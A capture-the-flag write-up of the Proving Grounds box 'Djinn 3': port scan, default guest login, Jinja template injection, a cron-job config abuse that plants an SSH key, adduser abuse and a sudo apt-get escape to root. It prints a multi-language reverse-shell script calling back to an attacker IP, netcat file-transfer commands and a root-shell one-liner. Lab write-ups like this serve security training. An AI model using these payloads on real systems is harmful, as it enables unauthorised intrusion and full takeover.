This is a write up for the box Djinn 3 on proving grounds which is a Linux based box rated as hard.
Enumeration: Port Scan
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ rustscan -a 192.168.106.102 -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/hhhharshil/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.106.102:22
Open 192.168.106.102:80
Open 192.168.106.102:5000
Open 192.168.106.102:31337
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBgUZ4ePUkROKmQX1WTjc3GGAUZN8j2Xpaac1L8B5GEr6aqlrl9ac8iepy+A5dqAVEwiOEyZXlw1IlMEY4fv2a8qmN0w74/+rFPcEVEUsvrD+1Vnz70VnAL9psOl4eG5oDxlH6FCQwgYtZi4b8n4yfLTH1vTf5r6WAf/9Qp3yOE5PRGCxg7wIW8Nhu+79D3qEOqg
4WaxM6qfSQI9F9mcWYKAsLK3OzdlNd94Dg17C7OLkD2xDHr5ntvC7AZCLXiAl9sS5CenfzRYpFRG4f0n4SHg+wIP0DmeilSoDkCZc+32PdYJVr83QAdaLK9oxAi7KQoq4Jv14+m2fdJQOAVlE/
| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFY5/zNj8f/NP+shaoQcoIQnhjVAZtSByClkEAj7Fr2z7xyToAVrYYg/C6G+UPMVoU4AJjQDqUt9VC/EwpShhC8=
| 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFm9xiHj81UmMophY5vH1uG9NZ8VuuLEFox785bXURJu
80/tcp open http syn-ack lighttpd 1.4.45
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.45
|_http-title: Custom-ers
5000/tcp open http syn-ack 2 httpd 1.0.1 (Python 3.6.9)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open Elite? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| username>
| GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| username> password> authentication failed
| Help:
| username> password>
| RPCCheck:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
Port Breakdown
- 22 - SSH
- 80 - HTTP
- 5000 - WerkZeurg
- 31337 - python service running
Foothold: 5000 Ticketing System
An open ticket on the ticketing system shows that there is a default user guest which is still present.
We know that there is a python service running on 31337 so we can try to authenticate to it by using netcat.
└─$ nc 192.168.106.102 31337
username> guest
password> guest
Welcome to our own ticketing system. This application is still under
development so if you find any issue please report it to mail@mzfr.me
Enter "help" to get the list of available commands.
> help
help Show this menu
update Update the ticketing software
open Open a new ticket
close Close an existing ticket
exit Exit
Looking back at the port scan results port 5000 uses Werkzeug/1.0.1 Python/3.6.9 as indicated by the http-server-header.
After some googling it was found that Werkzeug runs flask which relies on the Jinja template engine. This is usually exploitable by Server-Side Template Injection aka SSTI.
What is SSTI?
SSTI is the use of malicious user input in the server template which can cause various vulnerablity such as XSS and RCE. The web application converts the input provided to an HTML file.
“7}” is a sample payload typically used to confirm if there is SSTI. This would be inputted into the Title and Description variables returned by the open function.
This github page contains a good amount of payloads which we can try to use against the application:
https://github.com/payloadbox/ssti-payloads
First step to get a Reverse Shell would be to download the reverse shell that we would want to get executed on the box.
The sample SSTI payload will be used to grab and execute files. Its pretty simple to use all we would do is replace what is in between the quotes.
payload>
Reverse Shell
Downloading the file
Title: Download Description:
Browsing to the ticket created will execute the file grabbing hp.sh
Contents of hp.sh
#!/bin/bash
if command -v python > /dev/null 2>&1; then
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.49.106",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
exit;
fi
if command -v perl > /dev/null 2>&1; then
perl -e 'use Socket;$i="192.168.49.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
exit;
fi
if command -v nc > /dev/null 2>&1; then
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.106 4444 >/tmp/f
exit;
fi
if command -v sh > /dev/null 2>&1; then
/bin/sh -i >& /dev/tcp/192.168.49.106/4444 0>&1
exit;
fi
if command -v php > /dev/null 2>&1; then
php -r '$sock=fsockopen("192.168.49.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
exit;
fi
if command -v ruby > /dev/null 2>&1; then
ruby -rsocket -e'f=TCPSocket.open("192.168.49.106",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
exit;
fi
if command -v lua > /dev/null 2>&1; then
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.49.106','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
exit;
fi
Setup Listener
nc -nvlp 4444
Executing hp.sh
Title: Execute
Download: Description:
Browsing to the execute ticket will execute hp.sh allowing us to get a reverse shell.
Priv Esc PsPy + Decompiling pyc
PsPy reveals a hidden cronjob being ran as the user saint.
Finding Files that belong to saint
find / -user saint -perm -u=wrx 2>/dev/null
We can see in opt there are two .pyc files we have access to these are likely related to the script that is being ran in pspy.
Next we will grab these files and transfer them over to our kali box.
File Transfer
Kali nc -lvvp 777 > conf.pyc
Target nc 192.168.49.106 777 < .configuration.cpython-38.pyc
UnCompyling
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ uncompyle6 sync.pyc > sync.py
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cat sync.py 127 ⨯
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 2.7.18 (default, Apr 28 2021, 17:39:59)
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.
# Embedded file name: syncer.py
# Compiled at: 2020-06-01 07:32:59
# Size of source mod 2**32: 587 bytes
from configuration import *
from connectors.ftpconn import *
from connectors.sshconn import *
from connectors.utils import *
def main():
"""Main function
Cron job is going to make my work easy peasy
"""
configPath = ConfigReader.set_config_path()
config = ConfigReader.read_config(configPath)
connections = checker(config)
if 'FTP' in connections:
ftpcon(config['FTP'])
else:
if 'SSH' in connections:
sshcon(config['SSH'])
else:
if 'URL' in connections:
sync(config['URL'], config['Output'])
if __name__ == '__main__':
main()
# okay decompiling sync.pyc
The file above will copy the URL contents set in the Json file to output.
# Decompiled from: Python 2.7.18 (default, Apr 28 2021, 17:39:59) [0/548]
# [GCC 10.2.1 20210110]
# Warning: this version of Python has problems handling the Python 3 byte type in constants properly.
# Embedded file name: configuration.py
# Compiled at: 2020-06-04 10:49:49
# Size of source mod 2**32: 1343 bytes
import os, sys, json
from glob import glob
from datetime import datetime as dt
class ConfigReader:
config = None
@staticmethod
def read_config(path):
"""Reads the config file
"""
config_values = {}
try:
with open(path, 'r') as (f):
config_values = json.load(f)
except Exception as e:
try:
print("Couldn't properly parse the config file. Please use properl")
sys.exit(1)
finally:
e = None
del e
else:
return config_values
@staticmethod
def set_config_path():
"""Set the config path
"""
files = glob('/home/saint/*.json')
other_files = glob('/tmp/*.json')
files = files + other_files
try:
if len(files) > 2:
files = files[:2]
else:
file1 = os.path.basename(files[0]).split('.')
file2 = os.path.basename(files[1]).split('.')
if file1[(-2)] == 'config':
if file2[(-2)] == 'config':
a = dt.strptime(file1[0], '%d-%m-%Y')
b = dt.strptime(file2[0], '%d-%m-%Y')
if b < a:
filename = files[0]
else:
filename = files[1]
except Exception:
sys.exit(1)
else:
return filename
# okay decompiling config.pyc
This file will filter for files with date.json.config in both saints home directory adn /tmp. The JSON file has to be in D-M-Y format to be read by the script.
Pivoting to Saint
We can abuse this by creating a malicious .json.config file which copies our id_rsa.pub file into saints .ssh folder which will basically allow us to use our id_rsa private key which is hosted on our kali box to ssh into the box.
(ssh-keygen -t rsa) can be used to generate ssh keys if needed.
Setup
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cp /home/hhhharshil/.ssh/id_rsa.pub .
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ nano 01-01-2022.config.json
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ cat 01-01-2022.config.json
{
"URL": "http://192.168.49.106/id_rsa.pub",
"Output": "/home/saint/.ssh/authorized_keys"
}
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ updog -p 80
[+] Serving /home/hhhharshil/Desktop/djinn3...
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
Copied our id_rsa.pub into a folder where we will host the webserver and created a date.config.json file which will copy id_rsa.pub and put it into saints .ssh folder.
Downloading Config.json
www-data@djinn3:/tmp$ wget 192.168.49.106/01-01-2022.config.json
--2022-01-02 07:36:58-- http://192.168.49.106/01-01-2022.config.json
Connecting to 192.168.49.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Wait 3 minutes or so for the saint script to execute the 01-01-2022.config.json which should pull the id_rsa.pub which is hosted on the kali box.
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ updog -p 80
[+] Serving /home/hhhharshil/Desktop/djinn3...
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
192.168.106.102 - - [01/Jan/2022 21:15:22] "GET /01-01-2022.config.json HTTP/1.1" 200 -
192.168.106.102 - - [01/Jan/2022 21:18:02] "GET /id_rsa.pub HTTP/1.1" 200 -
Testing useradd + Reading Sudoers
┌──(hhhharshil㉿kali)-[~/Desktop/djinn3]
└─$ ssh saint@192.168.106.102
The authenticity of host '192.168.106.102 (192.168.106.102)' can't be established.
ECDSA key fingerprint is SHA256:3XUVJT+K/E3WTM90vv1SPpznUZKf/dLXVAtrfZioQlM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.106.102' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/hhhharshil/.ssh/id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Jan 2 07:49:08 IST 2022
System load: 0.0 Processes: 157
Usage of /: 38.1% of 9.78GB Users logged in: 0
Memory usage: 48% IP address for eth0: 192.168.106.102
Swap usage: 1%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
134 packages can be updated.
93 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
saint@djinn3:~$ sudo -l
Matching Defaults entries for saint on djinn3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User saint may run the following commands on djinn3:
(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
We were able to successfully login as saint. sudo -l reveals we can addusers to the machine. We will make a test user and add it to the root group specified by -gid=0
saint@djinn3:~$ sudo adduser harshil -gid=0
Adding user `harshil' ...
Adding new user `harshil' (1003) with group `root' ...
Creating home directory `/home/harshil' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for harshil
Enter the new value, or press ENTER for the default
Full Name []: Harshil
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
saint@djinn3:~$ su harshil
Password:
harshil@djinn3:/home/saint$
harshil@djinn3:/home/saint$ cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
# If you need a huge list of used numbers please install the nmap package.
saint ALL=(root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin
jason ALL=(root) PASSWD: /usr/bin/apt-get
#includedir /etc/sudoers.d
added the user harshil to the root group and we can’t run sudo since we are not in the sudoers group however we can read /etc/sudoers which reveal there is a user jason that can run apt-get as root.
Although we do not have the creds for jason we can simply overwrite the current jason user by creating a new one with adduser.
Pivoting to Jason + Root
saint@djinn3:~$ sudo adduser jason -gid=0
Adding user `jason' ...
Adding new user `jason' (1004) with group `root' ...
Creating home directory `/home/jason' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for jason
Enter the new value, or press ENTER for the default
Full Name []: Jason
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
saint@djinn3:~$ su jason
Password:
jason@djinn3:/home/saint$ sudo -l
[sudo] password for jason:
Matching Defaults entries for jason on djinn3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jason may run the following commands on djinn3:
(root) PASSWD: /usr/bin/apt-get
jason@djinn3:/home/saint$
GTFO Bin
The priv esc from here is fairly simple since there is a gtfo bin that allows to sudo escape and excute sh when invoking sudo apt-get update.
jason@djinn3:/home/saint$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
#